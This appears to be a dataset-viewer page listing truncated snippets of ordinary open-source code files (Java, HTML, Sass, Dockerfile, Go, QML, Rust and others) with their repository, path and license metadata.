* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | Java | 4 | akhalymon-cv/spark | sql/catalyst/src/main/java/org/apache/spark/sql/connector/metric/CustomAvgMetric.java | [
"Apache-2.0"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<title>Profile Summary For GitHub</title>
<link rel="icon" href="/favicon.png">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Github Profile Summary is a ... | HTML | 3 | terrorizer1980/profile-summary-for-github | src/main/resources/vue/layout.html | [
"Apache-2.0"
] |
.root
margin-bottom: var(--spacing-md)
font: var(--font-size-sm)/var(--line-height-md) var(--font-primary)
background: var(--color-subtle-light)
padding: 1.5rem 2rem 0.75rem 1.5rem
border-radius: var(--border-radius)
color: var(--color-dark)
border-left: 0.75rem solid var(--color-subtle-ligh... | Sass | 3 | snosrap/spaCy | website/src/styles/infobox.module.sass | [
"MIT"
] |
FROM golang:1.18-alpine3.14 as builder
RUN apk add --no-cache \
wget \
make \
git \
gcc \
binutils-gold \
musl-dev
RUN wget -O /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.2/dumb-init_1.2.2_amd64 \
&& chmod +x /usr/local/bin/dumb-init
RUN mkdir -p /go/src... | Modelica | 4 | Y7n05h/matrixone | optools/test/Dockerfile.mo | [
"Apache-2.0"
] |
insert into a values (1);
| SQL | 0 | imtbkcat/tidb-lightning | tests/checkpoint_engines/data/cpeng.a.1.sql | [
"Apache-2.0"
] |
{
metadata: {
namespace: "XML",
namespaceURI: "http://www.w3.org/XML/1998/namespace",
},
data: [
"lang",
"space",
],
}
| JSON5 | 3 | zealoussnow/chromium | third_party/blink/renderer/core/xml/xml_attribute_names.json5 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
datatype expr =
Var of int
| Val of int
| Add of expr * expr
| Mul of expr * expr;;
fun dec n =
if n = 0 then 0 else n - 1;;
fun mk_expr n v =
if n = 0 then (if v = 0 then Var 1 else Val v)
else Add (mk_expr (n-1) (v+1), mk_expr (n-1) (dec v));;
fun append_add e1 e2 =
case (e1, e2) of
(Add (e1, e2), e3) =>... | Standard ML | 4 | JLimperg/lean4 | tests/bench/const_fold.sml | [
"Apache-2.0"
] |
factorial(num) ;
If num<0 Quit "Negative number"
If num["." Quit "Not an integer"
If num<2 Quit 1
Quit num*$$factorial(num-1)
Write $$factorial(0) ; 1
Write $$factorial(1) ; 1
Write $$factorial(2) ; 2
Write $$factorial(3) ; 6
Write $$factorial(10) ; 3628800
Write $$factorial(-6) ; Negative number
Write $$factorial... | M | 3 | LaudateCorpus1/RosettaCodeData | Task/Factorial/MUMPS/factorial-2.mumps | [
"Info-ZIP"
] |
import QtQuick 2.2
import QtQuick.Controls 1.0
import QtQuick.Layouts 1.0
ApplicationWindow {
id: window
width: minimumWidth
height: minimumHeight
minimumWidth: 400
maximumWidth: minimumWidth
minimumHeight: visibleItem.height + 16
maximumHeight: minimumHeight
title: "Ricochet"
sign... | QML | 4 | garrettr/ricochet | src/ui/qml/NetworkSetupWizard.qml | [
"OpenSSL"
] |
; Surface folds similar to HTML and includes blocks
[
(tag)
(component)
(block)
] @fold
| Scheme | 1 | hmac/nvim-treesitter | queries/surface/folds.scm | [
"Apache-2.0"
] |
" Vim filetype plugin file
" Language: sh
" Maintainer: Dan Sharp <dwsharp at users dot sourceforge dot net>
" Last Changed: 20 Jan 2009
" URL: http://dwsharp.users.sourceforge.net/vim/ftplugin
if exists("b:did_ftplugin") | finish | endif
let b:did_ftplugin = 1
" Make sure the continuation lines below do not cause p... | VimL | 4 | uga-rosa/neovim | runtime/ftplugin/sh.vim | [
"Vim"
] |
# RUN: llc -mtriple=aarch64-linux-gnu -mcpu=falkor -run-pass falkor-hwpf-fix-late -o - %s | FileCheck %s
---
# Verify that the tag collision between the loads is resolved for various load opcodes.
# CHECK-LABEL: name: hwpf1
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDRWui $[[BASE]], 0
# CHECK: LDRWui... | Mirah | 4 | medismailben/llvm-project | llvm/test/CodeGen/AArch64/falkor-hwpf-fix.mir | [
"Apache-2.0"
] |
/*
Copyright 2019 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... | Go | 5 | mhermida/kubernetes | pkg/proxy/topology.go | [
"Apache-2.0"
] |
MODULE mg_rust_example
DESCRIPTION Example DLM from rust
VERSION 1.0
SOURCE mgalloy
BUILD_DATE 6 July 2015
FUNCTION MG_OUTPUTFORMATFUNC 1 1
| IDL | 1 | mandrakos/mglib | src/rust/mg_rust_example.dlm | [
"Apache-2.0"
] |
main: func {
range := 3..13
expect(3, range min)
expect(13, range max)
}
| ooc | 3 | shamanas/rock | test/compiler/literals/range-literal.ooc | [
"MIT"
] |
import QtQuick 2.0
import QtQuick.Controls 1.0
import QtQuick.Layouts 1.0
import im.ricochet 1.0
FocusScope {
id: chatPage
property var contact
property TextArea textField: textInput
property var conversationModel: (contact !== null) ? contact.conversation : null
function forceActiveFocus() {
... | QML | 5 | garrettr/ricochet | src/ui/qml/ChatPage.qml | [
"OpenSSL"
] |
'reach 0.1';
export const main =
Reach.App(
{},
[
Participant('A', {
i: UInt,
show: Fun([UInt], Null)
})
],
(A) => {
A.only(() => {
const i = declassify(interact.i);
})
A.publish(i).pay(100);
// Eval `try` in `consensus step`
try {
... | RenderScript | 4 | chikeabuah/reach-lang | hs/t/y/exception.rsh | [
"Apache-2.0"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_onAdditionalSwTangentReleased
Author: NKey
Fired when the additional keybinding for SR is relesed.
Arguments:
None
Return Value:
Whether or not the event was handled <BOOL>
Example:
call TFAR_fnc_onAdditionalSwTangentReleased;
Public: N... | SQF | 3 | MrDj200/task-force-arma-3-radio | addons/core/functions/events/keys/fnc_onAdditionalSwTangentReleased.sqf | [
"RSA-MD"
] |
struct S { a: isize }
enum E { C(isize) }
fn main() {
match (S { a: 1 }) {
E::C(_) => (),
//~^ ERROR mismatched types
//~| expected struct `S`, found enum `E`
_ => ()
}
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/match/match-struct.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.